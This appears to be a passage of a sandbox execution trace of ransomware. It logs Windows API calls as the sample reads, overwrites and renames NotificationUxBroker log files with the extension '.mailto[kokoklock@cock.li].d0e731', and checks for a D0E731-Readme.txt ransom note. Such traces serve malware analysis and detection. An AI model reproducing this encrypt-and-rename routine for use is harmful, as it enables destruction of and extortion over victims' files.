"c:\\users\\all users\\usoshared\\logs\\d0e731-readme.txt")) returned 0x2020 [0077.413] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3479a60) returned 1 [0077.413] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x347eac8) returned 1 [0077.413] RtlExitUserThread (Status=0x1) Thread: id = 852 os_tid = 0x1454 [0077.415] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\USOShared\\Logs\\NotificationUxBroker.009.etl" (normalized: "c:\\users\\all users\\usoshared\\logs\\notificationuxbroker.009.etl")) returned 0x2020 [0077.416] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\USOShared\\Logs\\NotificationUxBroker.009.etl", dwFileAttributes=0x20) returned 1 [0077.416] CreateFileW (lpFileName="C:\\Users\\All Users\\USOShared\\Logs\\NotificationUxBroker.009.etl" (normalized: "c:\\users\\all users\\usoshared\\logs\\notificationuxbroker.009.etl"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x8fc [0077.416] GetFileSizeEx (in: hFile=0x8fc, lpFileSize=0x1f7bf988 | out: lpFileSize=0x1f7bf988*=8192) returned 1 [0077.416] SetFilePointerEx (in: hFile=0x8fc, liDistanceToMove=0x1ffc, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0077.416] ReadFile (in: hFile=0x8fc, lpBuffer=0x1f7bf95c, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x1f7bf958, lpOverlapped=0x0 | out: lpBuffer=0x1f7bf95c*, lpNumberOfBytesRead=0x1f7bf958*=0x4, lpOverlapped=0x0) returned 1 [0077.417] SetFilePointerEx (in: hFile=0x8fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0077.418] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x3492988 [0077.418] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x3492ca8 [0077.418] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x3492c30 [0077.418] NtQuerySystemTime (in: CurrentTime=0x1f7bf934 | out: CurrentTime=0x1f7bf934*=132121176353159741) returned 0x0 [0077.418] RtlRandom (in: Seed=0x1f7bf940 | out: Seed=0x1f7bf940) returned 0xaf8dc9b [0077.418] RtlRandom (in: Seed=0x1f7bf940 | out: Seed=0x1f7bf940) returned 0x50b32ef9 [0077.418] RtlRandom (in: Seed=0x1f7bf940 | out: Seed=0x1f7bf940) returned 0x5b41ab08 [0077.418] RtlRandom (in: Seed=0x1f7bf940 | out: Seed=0x1f7bf940) returned 0x789f90f8 [0077.418] RtlRandom (in: Seed=0x1f7bf940 | out: Seed=0x1f7bf940) returned 0x40374f46 [0077.418] RtlRandom (in: Seed=0x1f7bf940 | out: Seed=0x1f7bf940) returned 0xbb3c3dcb [0077.418] RtlRandom (in: Seed=0x1f7bf940 | out: Seed=0x1f7bf940) returned 0x59c78880 [0077.418] RtlRandom (in: Seed=0x1f7bf940 | out: Seed=0x1f7bf940) returned 0x5b2e92ff [0077.418] RtlRandom (in: Seed=0x1f7bf940 | out: Seed=0x1f7bf940) returned 0x52412100 [0077.418] RtlRandom (in: Seed=0x1f7bf940 | out: Seed=0x1f7bf940) returned 0x7db2f2b8 [0077.418] RtlRandom (in: Seed=0x1f7bf940 | out: Seed=0x1f7bf940) returned 0x47b4dd16 [0077.418] RtlRandom (in: Seed=0x1f7bf940 | out: Seed=0x1f7bf940) returned 0x60f5af35 [0077.418] RtlRandom (in: Seed=0x1f7bf940 | out: Seed=0x1f7bf940) returned 0x1e76f60 [0077.418] RtlRandom (in: Seed=0x1f7bf940 | out: Seed=0x1f7bf940) returned 0xe3ca5398 [0077.418] RtlRandom (in: Seed=0x1f7bf940 | out: Seed=0x1f7bf940) returned 0xdd5cbd84 [0077.418] RtlRandom (in: Seed=0x1f7bf940 | out: Seed=0x1f7bf940) returned 0x7babfd6b [0077.418] RtlRandom (in: Seed=0x1f7bf940 | out: Seed=0x1f7bf940) returned 0xa4ae749a [0077.418] RtlRandom (in: Seed=0x1f7bf940 | out: Seed=0x1f7bf940) returned 0x36296e13 [0077.418] RtlRandom (in: Seed=0x1f7bf940 | out: Seed=0x1f7bf940) returned 0x15f75ef6 [0077.418] RtlRandom (in: Seed=0x1f7bf940 | out: Seed=0x1f7bf940) returned 0x942c746f [0077.418] RtlRandom (in: Seed=0x1f7bf940 | out: Seed=0x1f7bf940) returned 0xde6ad3e8 [0077.418] RtlRandom (in: Seed=0x1f7bf940 | out: Seed=0x1f7bf940) returned 0x563bbe84 [0077.418] RtlRandom (in: Seed=0x1f7bf940 | out: Seed=0x1f7bf940) returned 0xcded9c60 [0077.418] RtlRandom (in: Seed=0x1f7bf940 | out: Seed=0x1f7bf940) returned 0x3a96146c [0077.418] RtlRandom (in: Seed=0x1f7bf940 | out: Seed=0x1f7bf940) returned 0x1801604c [0077.418] RtlRandom (in: Seed=0x1f7bf940 | out: Seed=0x1f7bf940) returned 0xa9f3ac1e [0077.418] RtlRandom (in: Seed=0x1f7bf940 | out: Seed=0x1f7bf940) returned 0x64d0a503 [0077.418] RtlRandom (in: Seed=0x1f7bf940 | out: Seed=0x1f7bf940) returned 0xf5b6a994 [0077.419] RtlRandom (in: Seed=0x1f7bf940 | out: Seed=0x1f7bf940) returned 0x4015c807 [0077.419] RtlRandom (in: Seed=0x1f7bf940 | out: Seed=0x1f7bf940) returned 0xec36e203 [0077.419] RtlRandom (in: Seed=0x1f7bf940 | out: Seed=0x1f7bf940) returned 0x4c3f1b0c [0077.419] RtlRandom (in: Seed=0x1f7bf940 | out: Seed=0x1f7bf940) returned 0xfa7796dc [0077.429] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3479da8) returned 1 [0077.429] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3492988) returned 1 [0077.429] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x40) returned 0x33fd8f8 [0077.429] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x70) returned 0x3479a60 [0077.429] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x3492c80 [0077.429] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3492c80) returned 1 [0077.429] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x4096) returned 0x348a220 [0077.429] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x4096) returned 0x348e2c0 [0077.429] ReadFile (in: hFile=0x8fc, lpBuffer=0x348a220, nNumberOfBytesToRead=0x2000, lpNumberOfBytesRead=0x1f7bf934, lpOverlapped=0x0 | out: lpBuffer=0x348a220*, lpNumberOfBytesRead=0x1f7bf934*=0x2000, lpOverlapped=0x0) returned 1 [0077.430] SetFilePointerEx (in: hFile=0x8fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1f7bf8fc | out: lpNewFilePointer=0x0) returned 1 [0077.430] WriteFile (in: hFile=0x8fc, lpBuffer=0x348e2c0*, nNumberOfBytesToWrite=0x2000, lpNumberOfBytesWritten=0x1f7bf930, lpOverlapped=0x0 | out: lpBuffer=0x348e2c0*, lpNumberOfBytesWritten=0x1f7bf930*=0x2000, lpOverlapped=0x0) returned 1 [0077.431] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x3492c80 [0077.431] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x3492cd0 [0077.431] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3492cd0) returned 1 [0077.431] WriteFile (in: hFile=0x8fc, lpBuffer=0x3492c80*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x1f7bf92c, lpOverlapped=0x0 | out: lpBuffer=0x3492c80*, lpNumberOfBytesWritten=0x1f7bf92c*=0x20, lpOverlapped=0x0) returned 1 [0077.431] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3492c80) returned 1 [0077.431] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x348e2c0) returned 1 [0077.431] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x348a220) returned 1 [0077.431] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3479a60) returned 1 [0077.431] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33fd8f8) returned 1 [0077.431] WriteFile (in: hFile=0x8fc, lpBuffer=0x34928e8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x1f7bf958, lpOverlapped=0x0 | out: lpBuffer=0x34928e8*, lpNumberOfBytesWritten=0x1f7bf958*=0x8, lpOverlapped=0x0) returned 1 [0077.431] WriteFile (in: hFile=0x8fc, lpBuffer=0x1f7bf970*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x1f7bf958, lpOverlapped=0x0 | out: lpBuffer=0x1f7bf970*, lpNumberOfBytesWritten=0x1f7bf958*=0x4, lpOverlapped=0x0) returned 1 [0077.431] WriteFile (in: hFile=0x8fc, lpBuffer=0x33d12fc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x1f7bf958, lpOverlapped=0x0 | out: lpBuffer=0x33d12fc*, lpNumberOfBytesWritten=0x1f7bf958*=0x4, lpOverlapped=0x0) returned 1 [0077.431] WriteFile (in: hFile=0x8fc, lpBuffer=0x33c49b8*, nNumberOfBytesToWrite=0x6c, lpNumberOfBytesWritten=0x1f7bf958, lpOverlapped=0x0 | out: lpBuffer=0x33c49b8*, lpNumberOfBytesWritten=0x1f7bf958*=0x6c, lpOverlapped=0x0) returned 1 [0077.431] WriteFile (in: hFile=0x8fc, lpBuffer=0x3492ca8*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x1f7bf958, lpOverlapped=0x0 | out: lpBuffer=0x3492ca8*, lpNumberOfBytesWritten=0x1f7bf958*=0x20, lpOverlapped=0x0) returned 1 [0077.432] WriteFile (in: hFile=0x8fc, lpBuffer=0x33d12dc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x1f7bf958, lpOverlapped=0x0 | out: lpBuffer=0x33d12dc*, lpNumberOfBytesWritten=0x1f7bf958*=0x4, lpOverlapped=0x0) returned 1 [0077.432] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3492ca8) returned 1 [0077.432] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3492c58) returned 1 [0077.432] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x34928e8) returned 1 [0077.432] CloseHandle (hObject=0x8fc) returned 1 [0077.432] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0xc0) returned 0x34320a0 [0077.432] wcscpy (in: _Dest=0x34320a0, _Source="C:\\Users\\All Users\\USOShared\\Logs\\NotificationUxBroker.009.etl" | out: _Dest="C:\\Users\\All Users\\USOShared\\Logs\\NotificationUxBroker.009.etl") returned="C:\\Users\\All Users\\USOShared\\Logs\\NotificationUxBroker.009.etl" [0077.432] wcscat (in: _Dest=0x34320a0, _Source=".mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Users\\All Users\\USOShared\\Logs\\NotificationUxBroker.009.etl.mailto[kokoklock@cock.li].d0e731") returned="C:\\Users\\All Users\\USOShared\\Logs\\NotificationUxBroker.009.etl.mailto[kokoklock@cock.li].d0e731" [0077.432] MoveFileW (lpExistingFileName="C:\\Users\\All Users\\USOShared\\Logs\\NotificationUxBroker.009.etl" (normalized: "c:\\users\\all users\\usoshared\\logs\\notificationuxbroker.009.etl"), lpNewFileName="C:\\Users\\All Users\\USOShared\\Logs\\NotificationUxBroker.009.etl.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\all users\\usoshared\\logs\\notificationuxbroker.009.etl.mailto[kokoklock@cock.li].d0e731")) returned 1 [0077.433] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\USOShared\\Logs\\NotificationUxBroker.009.etl.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x2020) returned 1 [0077.433] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x34320a0) returned 1 [0077.433] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\USOShared\\Logs\\NotificationUxBroker.009.etl", dwFileAttributes=0x2020) returned 0 [0077.433] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x6a) returned 0x3479a60 [0077.433] wcscpy (in: _Dest=0x3479a60, _Source="C:\\Users\\All Users\\USOShared\\Logs\\" | out: _Dest="C:\\Users\\All Users\\USOShared\\Logs\\") returned="C:\\Users\\All Users\\USOShared\\Logs\\" [0077.433] wcscat (in: _Dest=0x3479a60, _Source="D0E731-Readme.txt" | out: _Dest="C:\\Users\\All Users\\USOShared\\Logs\\D0E731-Readme.txt") returned="C:\\Users\\All Users\\USOShared\\Logs\\D0E731-Readme.txt" [0077.433] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\USOShared\\Logs\\D0E731-Readme.txt" (normalized: "c:\\users\\all users\\usoshared\\logs\\d0e731-readme.txt")) returned 0x2020 [0077.433] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3479a60) returned 1 [0077.433] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x347f568) returned 1 [0077.433] RtlExitUserThread (Status=0x1) Thread: id = 853 os_tid = 0x1458 [0077.434] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\USOShared\\Logs\\NotificationUxBroker.010.etl" (normalized: "c:\\users\\all users\\usoshared\\logs\\notificationuxbroker.010.etl")) returned 0x2020 [0077.434] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\USOShared\\Logs\\NotificationUxBroker.010.etl", dwFileAttributes=0x20) returned 1 [0077.435] CreateFileW (lpFileName="C:\\Users\\All Users\\USOShared\\Logs\\NotificationUxBroker.010.etl" (normalized: "c:\\users\\all users\\usoshared\\logs\\notificationuxbroker.010.etl"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x8fc [0077.435] GetFileSizeEx (in: hFile=0x8fc, lpFileSize=0x1f83fe54 | out: lpFileSize=0x1f83fe54*=8192) returned 1 [0077.435] SetFilePointerEx (in: hFile=0x8fc, liDistanceToMove=0x1ffc, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0077.435] ReadFile (in: hFile=0x8fc, lpBuffer=0x1f83fe28, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x1f83fe24, lpOverlapped=0x0 | out: lpBuffer=0x1f83fe28*, lpNumberOfBytesRead=0x1f83fe24*=0x4, lpOverlapped=0x0) returned 1 [0077.436] SetFilePointerEx (in: hFile=0x8fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0077.436] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x3492988 [0077.437] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x3492ca8 [0077.437] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x3492c58 [0077.437] NtQuerySystemTime (in: CurrentTime=0x1f83fe00 | out: CurrentTime=0x1f83fe00*=132121176353314982) returned 0x0 [0077.437] RtlRandom (in: Seed=0x1f83fe0c | out: Seed=0x1f83fe0c) returned 0xceff7fac [0077.437] RtlRandom (in: Seed=0x1f83fe0c | out: Seed=0x1f83fe0c) returned 0x35c5a6cb [0077.437] RtlRandom (in: Seed=0x1f83fe0c | out: Seed=0x1f83fe0c) returned 0x7a5b0a99 [0077.437] RtlRandom (in: Seed=0x1f83fe0c | out: Seed=0x1f83fe0c) returned 0xa14d7d17 [0077.437] RtlRandom (in: Seed=0x1f83fe0c | out: Seed=0x1f83fe0c) returned 0x80efe444 [0077.437] RtlRandom (in: Seed=0x1f83fe0c | out: Seed=0x1f83fe0c) returned 0x3a4cef45 [0077.437] RtlRandom (in: Seed=0x1f83fe0c | out: Seed=0x1f83fe0c) returned 0x36788a6c [0077.437] RtlRandom (in: Seed=0x1f83fe0c | out: Seed=0x1f83fe0c) returned 0x5eb12e98 [0077.437] RtlRandom (in: Seed=0x1f83fe0c | out: Seed=0x1f83fe0c) returned 0x7624d93b [0077.437] RtlRandom (in: Seed=0x1f83fe0c | out: Seed=0x1f83fe0c) returned 0x341ff353 [0077.437] RtlRandom (in: Seed=0x1f83fe0c | out: Seed=0x1f83fe0c) returned 0x1a6e1002 [0077.437] RtlRandom (in: Seed=0x1f83fe0c | out: Seed=0x1f83fe0c) returned 0x638f7fbd [0077.437] RtlRandom (in: Seed=0x1f83fe0c | out: Seed=0x1f83fe0c) returned 0x7dbfefd1 [0077.437] RtlRandom (in: Seed=0x1f83fe0c | out: Seed=0x1f83fe0c) returned 0x2d76c3a [0077.437] RtlRandom (in: Seed=0x1f83fe0c | out: Seed=0x1f83fe0c) returned 0xf28e27da [0077.437] RtlRandom (in: Seed=0x1f83fe0c | out: Seed=0x1f83fe0c) returned 0xc3de347b [0077.437] RtlRandom (in: Seed=0x1f83fe0c | out: Seed=0x1f83fe0c) returned 0x7685fa9b [0077.437] RtlRandom (in: Seed=0x1f83fe0c | out: Seed=0x1f83fe0c) returned 0xc58e4e3f [0077.437] RtlRandom (in: Seed=0x1f83fe0c | out: Seed=0x1f83fe0c) returned 0x5d300cf4 [0077.437] RtlRandom (in: Seed=0x1f83fe0c | out: Seed=0x1f83fe0c) returned 0xaf7040e6 [0077.437] RtlRandom (in: Seed=0x1f83fe0c | out: Seed=0x1f83fe0c) returned 0xf85eaf17 [0077.437] RtlRandom (in: Seed=0x1f83fe0c | out: Seed=0x1f83fe0c) returned 0x5f41541f [0077.437] RtlRandom (in: Seed=0x1f83fe0c | out: Seed=0x1f83fe0c) returned 0x1db2c895 [0077.437] RtlRandom (in: Seed=0x1f83fe0c | out: Seed=0x1f83fe0c) returned 0xa40bb26d [0077.437] RtlRandom (in: Seed=0x1f83fe0c | out: Seed=0x1f83fe0c) returned 0xa554327b [0077.437] RtlRandom (in: Seed=0x1f83fe0c | out: Seed=0x1f83fe0c) returned 0x9e657a86 [0077.437] RtlRandom (in: Seed=0x1f83fe0c | out: Seed=0x1f83fe0c) returned 0x41df9df9 [0077.437] RtlRandom (in: Seed=0x1f83fe0c | out: Seed=0x1f83fe0c) returned 0xb3266768 [0077.437] RtlRandom (in: Seed=0x1f83fe0c | out: Seed=0x1f83fe0c) returned 0xa9cd9815 [0077.437] RtlRandom (in: Seed=0x1f83fe0c | out: Seed=0x1f83fe0c) returned 0xb02b228 [0077.437] RtlRandom (in: Seed=0x1f83fe0c | out: Seed=0x1f83fe0c) returned 0xc16adc3c [0077.437] RtlRandom (in: Seed=0x1f83fe0c | out: Seed=0x1f83fe0c) returned 0xc352b70c [0077.449] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3479da8) returned 1 [0077.449] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3492988) returned 1 [0077.449] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x40) returned 0x33fd8f8 [0077.449] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x70) returned 0x3479a60 [0077.449] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x3492cd0 [0077.449] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3492cd0) returned 1 [0077.449] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x4096) returned 0x348a220 [0077.449] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x4096) returned 0x348e2c0 [0077.449] ReadFile (in: hFile=0x8fc, lpBuffer=0x348a220, nNumberOfBytesToRead=0x2000, lpNumberOfBytesRead=0x1f83fe00, lpOverlapped=0x0 | out: lpBuffer=0x348a220*, lpNumberOfBytesRead=0x1f83fe00*=0x2000, lpOverlapped=0x0) returned 1 [0077.468] SetFilePointerEx (in: hFile=0x8fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1f83fdc8 | out: lpNewFilePointer=0x0) returned 1 [0077.468] WriteFile (in: hFile=0x8fc, lpBuffer=0x348e2c0*, nNumberOfBytesToWrite=0x2000, lpNumberOfBytesWritten=0x1f83fdfc, lpOverlapped=0x0 | out: lpBuffer=0x348e2c0*, lpNumberOfBytesWritten=0x1f83fdfc*=0x2000, lpOverlapped=0x0) returned 1 [0077.468] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x3492d48 [0077.468] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x3492d70 [0077.468] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3492d70) returned 1 [0077.468] WriteFile (in: hFile=0x8fc, lpBuffer=0x3492d48*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x1f83fdf8, lpOverlapped=0x0 | out: lpBuffer=0x3492d48*, lpNumberOfBytesWritten=0x1f83fdf8*=0x20, lpOverlapped=0x0) returned 1 [0077.469] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3492d48) returned 1 [0077.469] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x348e2c0) returned 1 [0077.469] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x348a220) returned 1 [0077.469] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3479a60) returned 1 [0077.469] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33fd8f8) returned 1 [0077.469] WriteFile (in: hFile=0x8fc, lpBuffer=0x34928e8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x1f83fe24, lpOverlapped=0x0 | out: lpBuffer=0x34928e8*, lpNumberOfBytesWritten=0x1f83fe24*=0x8, lpOverlapped=0x0) returned 1 [0077.469] WriteFile (in: hFile=0x8fc, lpBuffer=0x1f83fe3c*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x1f83fe24, lpOverlapped=0x0 | out: lpBuffer=0x1f83fe3c*, lpNumberOfBytesWritten=0x1f83fe24*=0x4, lpOverlapped=0x0) returned 1 [0077.469] WriteFile (in: hFile=0x8fc, lpBuffer=0x33d12fc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x1f83fe24, lpOverlapped=0x0 | out: lpBuffer=0x33d12fc*, lpNumberOfBytesWritten=0x1f83fe24*=0x4, lpOverlapped=0x0) returned 1 [0077.469] WriteFile (in: hFile=0x8fc, lpBuffer=0x33c49b8*, nNumberOfBytesToWrite=0x6c, lpNumberOfBytesWritten=0x1f83fe24, lpOverlapped=0x0 | out: lpBuffer=0x33c49b8*, lpNumberOfBytesWritten=0x1f83fe24*=0x6c, lpOverlapped=0x0) returned 1 [0077.469] WriteFile (in: hFile=0x8fc, lpBuffer=0x3492ca8*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x1f83fe24, lpOverlapped=0x0 | out: lpBuffer=0x3492ca8*, lpNumberOfBytesWritten=0x1f83fe24*=0x20, lpOverlapped=0x0) returned 1 [0077.469] WriteFile (in: hFile=0x8fc, lpBuffer=0x33d12dc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x1f83fe24, lpOverlapped=0x0 | out: lpBuffer=0x33d12dc*, lpNumberOfBytesWritten=0x1f83fe24*=0x4, lpOverlapped=0x0) returned 1 [0077.469] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3492ca8) returned 1 [0077.469] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3492c80) returned 1 [0077.469] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x34928e8) returned 1 [0077.470] CloseHandle (hObject=0x8fc) returned 1 [0077.470] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0xc0) returned 0x34320a0 [0077.470] wcscpy (in: _Dest=0x34320a0, _Source="C:\\Users\\All Users\\USOShared\\Logs\\NotificationUxBroker.010.etl" | out: _Dest="C:\\Users\\All Users\\USOShared\\Logs\\NotificationUxBroker.010.etl") returned="C:\\Users\\All Users\\USOShared\\Logs\\NotificationUxBroker.010.etl" [0077.470] wcscat (in: _Dest=0x34320a0, _Source=".mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Users\\All Users\\USOShared\\Logs\\NotificationUxBroker.010.etl.mailto[kokoklock@cock.li].d0e731") returned="C:\\Users\\All Users\\USOShared\\Logs\\NotificationUxBroker.010.etl.mailto[kokoklock@cock.li].d0e731" [0077.470] MoveFileW (lpExistingFileName="C:\\Users\\All Users\\USOShared\\Logs\\NotificationUxBroker.010.etl" (normalized: "c:\\users\\all users\\usoshared\\logs\\notificationuxbroker.010.etl"), lpNewFileName="C:\\Users\\All Users\\USOShared\\Logs\\NotificationUxBroker.010.etl.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\all users\\usoshared\\logs\\notificationuxbroker.010.etl.mailto[kokoklock@cock.li].d0e731")) returned 1 [0077.470] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\USOShared\\Logs\\NotificationUxBroker.010.etl.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x2020) returned 1 [0077.471] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x34320a0) returned 1 [0077.471] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\USOShared\\Logs\\NotificationUxBroker.010.etl", dwFileAttributes=0x2020) returned 0 [0077.471] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x6a) returned 0x3479a60 [0077.471] wcscpy (in: _Dest=0x3479a60, _Source="C:\\Users\\All Users\\USOShared\\Logs\\" | out: _Dest="C:\\Users\\All Users\\USOShared\\Logs\\") returned="C:\\Users\\All Users\\USOShared\\Logs\\" [0077.471] wcscat (in: _Dest=0x3479a60, _Source="D0E731-Readme.txt" | out: _Dest="C:\\Users\\All Users\\USOShared\\Logs\\D0E731-Readme.txt") returned="C:\\Users\\All Users\\USOShared\\Logs\\D0E731-Readme.txt" [0077.471] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\USOShared\\Logs\\D0E731-Readme.txt" (normalized: "c:\\users\\all users\\usoshared\\logs\\d0e731-readme.txt")) returned 0x2020 [0077.471] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3479a60) returned 1 [0077.471] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x347f348) returned 1 [0077.471] RtlExitUserThread (Status=0x1) Thread: id = 854 os_tid = 0x145c [0077.450] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\USOShared\\Logs\\NotificationUxBroker.011.etl" (normalized: "c:\\users\\all users\\usoshared\\logs\\notificationuxbroker.011.etl")) returned 0x2020 [0077.450] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\USOShared\\Logs\\NotificationUxBroker.011.etl", dwFileAttributes=0x20) returned 1 [0077.450] CreateFileW (lpFileName="C:\\Users\\All Users\\USOShared\\Logs\\NotificationUxBroker.011.etl" (normalized: "c:\\users\\all users\\usoshared\\logs\\notificationuxbroker.011.etl"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x8f8 [0077.451] GetFileSizeEx (in: hFile=0x8f8, lpFileSize=0x1f8bf950 | out: lpFileSize=0x1f8bf950*=8192) returned 1 [0077.451] SetFilePointerEx (in: hFile=0x8f8, liDistanceToMove=0x1ffc, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0077.451] ReadFile (in: hFile=0x8f8, lpBuffer=0x1f8bf924, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x1f8bf920, lpOverlapped=0x0 | out: lpBuffer=0x1f8bf924*, lpNumberOfBytesRead=0x1f8bf920*=0x4, lpOverlapped=0x0) returned 1 [0077.472] SetFilePointerEx (in: hFile=0x8f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0077.472] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x3492988 [0077.472] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x3492ca8 [0077.472] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x3492c80 [0077.472] NtQuerySystemTime (in: CurrentTime=0x1f8bf8fc | out: CurrentTime=0x1f8bf8fc*=132121176353627629) returned 0x0 [0077.472] RtlRandom (in: Seed=0x1f8bf908 | out: Seed=0x1f8bf908) returned 